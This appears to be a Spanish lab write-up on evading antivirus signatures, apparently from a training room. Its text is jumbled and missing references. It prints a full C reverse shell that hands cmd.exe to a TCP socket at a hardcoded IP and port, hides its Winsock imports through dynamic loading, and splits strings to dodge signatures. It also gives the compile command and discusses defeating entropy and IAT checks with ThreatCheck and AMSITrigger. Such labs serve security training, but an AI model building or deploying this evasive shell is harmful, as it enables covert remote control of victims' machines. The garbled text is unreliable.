mySocket = myWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);

Una vez completada, la definición de su estructura debería verse como el siguiente fragmento de código

typedef int(WSAAPI* WSASTARTUP)(WORD wVersionRequested,LPWSADATA lpWSAData);
typedef SOCKET(WSAAPI* WSASOCKETA)(int af,int type,int protocol,LPWSAPROTOCOL_INFOA lpProtocolInfo,GROUP g,DWORD dwFlags);
typedef unsigned(WSAAPI* INET_ADDR)(const char *cp);
typedef u_short(WSAAPI* HTONS)(u_short hostshort);
typedef int(WSAAPI* WSACONNECT)(SOCKET s,const struct sockaddr *name,int namelen,LPWSABUF lpCallerData,LPWSABUF lpCalleeData,LPQOS lpSQOS,LPQOS lpGQOS);
typedef int(WSAAPI* CLOSESOCKET)(SOCKET s);
typedef int(WSAAPI* WSACLEANUP)(void);

El siguiente fragmento de código define todas las direcciones de puntero necesarias, correspondientes a las estructuras anteriores.

HMODULE hws2_32 = LoadLibraryW(L"ws2_32");
WSASTARTUP myWSAStartup = (WSASTARTUP) GetProcAddress(hws2_32, "WSAStartup");
WSASOCKETA myWSASocketA = (WSASOCKETA) GetProcAddress(hws2_32, "WSASocketA");
INET_ADDR myinet_addr = (INET_ADDR) GetProcAddress(hws2_32, "inet_addr");
HTONS myhtons = (HTONS) GetProcAddress(hws2_32, "htons");
WSACONNECT myWSAConnect = (WSACONNECT) GetProcAddress(hws2_32, "WSAConnect");
CLOSESOCKET myclosesocket = (CLOSESOCKET) GetProcAddress(hws2_32, "closesocket");
WSACLEANUP myWSACleanup = (WSACLEANUP) GetProcAddress(hws2_32, "WSACleanup"); 

Tenga en cuenta que las definiciones de la estructura deben estar fuera de cualquier función al comienzo de su código. Las definiciones de puntero deben estar en la parte superior de la RunShellfunción.

Ahora deberíamos aleatorizar el puntero y otros nombres de variables siguiendo las mejores prácticas adecuadas. También deberíamos despojar al binario de cualquier símbolo u otra información identificable.

Una vez que se haya ofuscado completamente y se haya eliminado la información, podemos compilar el binario usando mingw-gcc.

x86_64-w64-mingw32-gcc challenge.c -o challenge.exe -lwsock32 -lws2_32 
#include <winsock2.h>
#include <windows.h>
#include <ws2tcpip.h>
#include <stdio.h>
#define DEFAULT_BUFLEN 1024
typedef int(WSAAPI* WSASTARTUP)(WORD wVersionRequested,LPWSADATA lpWSAData);
typedef SOCKET(WSAAPI* WSASOCKETA)(int af,int type,int protocol,LPWSAPROTOCOL_INFOA lpProtocolInfo,GROUP g,DWORD dwFlags);

typedef unsigned(WSAAPI* INET_ADDR)(const char *cp);
typedef u_short(WSAAPI* HTONS)(u_short hostshort);
typedef int(WSAAPI* WSACONNECT)(SOCKET s,const struct sockaddr *name,int namelen,LPWSABUF lpCallerData,LPWSABUF lpCalleeData,LPQOS lpSQOS,LPQOS lpGQOS);
typedef int(WSAAPI* CLOSESOCKET)(SOCKET s);
typedef int(WSAAPI* WSACLEANUP)(void);
void runn(char* serv, int Port) {
HMODULE hws2_32 = LoadLibraryW(L”ws2_32");
WSASTARTUP myWSAStartup = (WSASTARTUP) GetProcAddress(hws2_32, “WSAStartup”);
WSASOCKETA myWSASocketA = (WSASOCKETA) GetProcAddress(hws2_32, “WSASocketA”);
INET_ADDR myinet_addr = (INET_ADDR) GetProcAddress(hws2_32, “inet_addr”);
HTONS myhtons = (HTONS) GetProcAddress(hws2_32, “htons”);
WSACONNECT myWSAConnect = (WSACONNECT) GetProcAddress(hws2_32, “WSAConnect”);
CLOSESOCKET myclosesocket = (CLOSESOCKET) GetProcAddress(hws2_32, “closesocket”);
WSACLEANUP myWSACleanup = (WSACLEANUP) GetProcAddress(hws2_32, “WSACleanup”);
SOCKET S0;

struct sockaddr_in addr;
WSADATA version;
myWSAStartup(MAKEWORD(2,2), &version);
S0 = myWSASocketA(AF_INET, SOCK_STREAM, IPPROTO_TCP, 0, 0, 0);
addr.sin_family = AF_INET;
addr.sin_addr.s_addr = myinet_addr(serv);
addr.sin_port = myhtons(Port);
if (myWSAConnect(S0, (SOCKADDR*)&addr, sizeof(addr), 0, 0, 0, 0)==SOCKET_ERROR) {
myclosesocket(S0);
myWSACleanup();
} else {
char p1[] = “cm”;
char p2[]=”d.exe”;
char* p = strcat(p1,p2);
STARTUPINFO sinfo;
PROCESS_INFORMATION pinfo;
memset(&sinfo, 0, sizeof(sinfo));
sinfo.cb = sizeof(sinfo);
sinfo.dwFlags = (STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW);
sinfo.hStdInput = sinfo.hStdOutput = sinfo.hStdError = (HANDLE) S0;
CreateProcess(NULL, p, NULL, NULL, TRUE, 0, NULL, NULL, &sinfo, &pinfo);
WaitForSingleObject(pinfo.hProcess, INFINITE);
CloseHandle(pinfo.hProcess);
CloseHandle(pinfo.hThread);
}
}

int main(int argc, char **argv) {
if (argc == 3) {
int port = atoi(argv[2]);
runn(argv[1], port);
}
else {
char host[] = “10.14.37.155”;
int port = 4545;
runn(host, port);
}
return 0;
}

El proceso que se muestra en la tarea anterior puede resultar bastante arduo. Para acelerarlo, podemos automatizarlo usando scripts para dividir bytes en un intervalo para nosotros. dividirá un rango de bytes proporcionado en un intervalo determinado.

Para resolver este problema podemos utilizar otras FOSS ( software gratuito y de código abierto ) que aprovechan los propios motores para escanear el archivo, incluidos DefenderCheck , y . En esta tarea, nos centraremos principalmente en ThreatCheck y mencionaremos brevemente los usos de AMSITrigger al final.

Como se explica en , AMSI aprovecha el tiempo de ejecución, lo que hace que las firmas sean más difíciles de identificar y resolver. ThreatCheck tampoco admite ciertos tipos de archivos, como PowerShell, que sí admite AMSITrigger.

Una vez que hayamos identificado una firma problemática, debemos decidir cómo queremos abordarla. Dependiendo de la fuerza y ​​el tipo de firma, se puede romper mediante una simple ofuscación, como se describe en , o puede requerir una investigación y una solución específicas. En esta tarea, nuestro objetivo es proporcionar varias soluciones para remediar las firmas estáticas presentes en las funciones.

La cubre las soluciones más confiables como parte de la capa Métodos de ofuscación y Clases de ofuscación .

La metodología requerida para dividir o fusionar objetos es muy similar al objetivo de concatenación como se describe en los

Para proporcionar un ejemplo más concreto de esto, podemos utilizar el de Covenant presente en la GetMessageFormatcadena. Primero veremos cómo se implementó la solución, luego la desglosaremos y la aplicaremos a la taxonomía de ofuscación.

El concepto central detrás de la eliminación de información identificable es similar a ocultar nombres de variables como se describe en . En esta tarea, vamos un paso más allá al aplicarlo específicamente a firmas identificadas en cualquier objeto, incluidos métodos y clases.

Esto casi no es diferente de lo discutido en ; sin embargo, se aplica a una situación específica.

Desde , la entropía se define como “la aleatoriedad de los datos de un archivo que se utiliza para determinar si un archivo contiene datos ocultos o scripts sospechosos”. Los EDR y otros escáneres a menudo aprovechan la entropía para identificar posibles archivos sospechosos o contribuir a una puntuación maliciosa general.

Para demostrar la eficacia de cambiar identificadores, podemos observar cómo cambia la entropía usando .

En el documento técnico, , se muestra que SentinelOne detecta una DLL debido a una alta entropía, específicamente a través del cifrado AES.

Como se explica en , los motores antivirus modernos emplearán dos métodos comunes para detectar el comportamiento: observar las importaciones y conectar llamadas maliciosas conocidas. Si bien las importaciones, como se cubrirá en esta tarea, se pueden ofuscar o modificar fácilmente con requisitos mínimos, el enlace requiere técnicas complejas fuera del alcance de esta sala. Debido a la prevalencia específica de las llamadas API , observar estas funciones puede ser un factor importante para determinar si un archivo es sospechoso, junto con otras pruebas/consideraciones de comportamiento.

El IAT se almacena en el encabezado PE ( P ortable Executable ) IMAGE_OPTIONAL_HEADERy el cargador de Windows lo completa en tiempo de ejecución. El cargador de Windows obtiene las direcciones de función o, más precisamente, los procesadores de una tabla de punteros, a la que se accede desde una llamada API o una tabla de procesadores . Consulte la para obtener más información sobre la estructura de PE .

Para comenzar a cargar dinámicamente una llamada API , primero debemos definir una estructura para la llamada antes de la función principal. La estructura de la llamada definirá cualquier entrada o salida que pueda ser necesaria para que la llamada funcione. Podemos encontrar estructuras para una llamada específica en la documentación de Microsoft. Por ejemplo, la estructura deGetComputerNameA se puede encontrar . Debido a que estamos implementando esto como una nueva llamada en C, la sintaxis debe cambiar un poco, pero la estructura sigue siendo la misma, como se ve a continuación.

Como se reitera tanto en esta sala como en , ningún método será 100% efectivo o confiable.

Una vez que esté lo suficientemente ofuscado, compile la carga útil en AttackBox o VM de su elección usando GCC u otro compilador de C. El nombre del archivo debe guardarse comochallenge.exe . Una vez compilado, envíe el ejecutable al servidor web en http://MACHINE_IP/ Si su carga útil cumple con los requisitos enumerados, se ejecutará y se enviará una baliza a la IP y al puerto del servidor proporcionado.

Concentremos nuestros esfuerzos en eliminarlos de la tabla IAT y llamarlos dinámicamente. Para resumir lo que se cubrió en la tarea 6: necesitamos identificar una llamada API , cargar la biblioteca para las llamadas API y obtener un puntero a la llamada API.

Miremos el para WSAConnect; A continuación se muestra la estructura obtenida de la documentación.

Introducción al antivirus
Find-AVSignature
herramientas
ThreatCheck
AMSITrigger
DefenderCheck
ThreatCheck
AMSITrigger
Evasión de detección en tiempo de ejecución
Principios de ofuscación
taxonomía de ofuscación en capas
Principios de ofuscación.
conocido estudio de caso
Principios de ofuscación
Principios de ofuscación
IBM
CyberChef
Una evaluación empírica de los sistemas de respuesta y detección de endpoints contra vectores de ataque de amenazas persistentes avanzadas
Introducción al antivirus
sala Windows Internals
aquí
los Principios de ofuscación
.
específica, obtener su estructura de la documentación de Windows
documento de Windows
20231025112446.png
20231025112514.png
20231025112524.png
20231025112609.png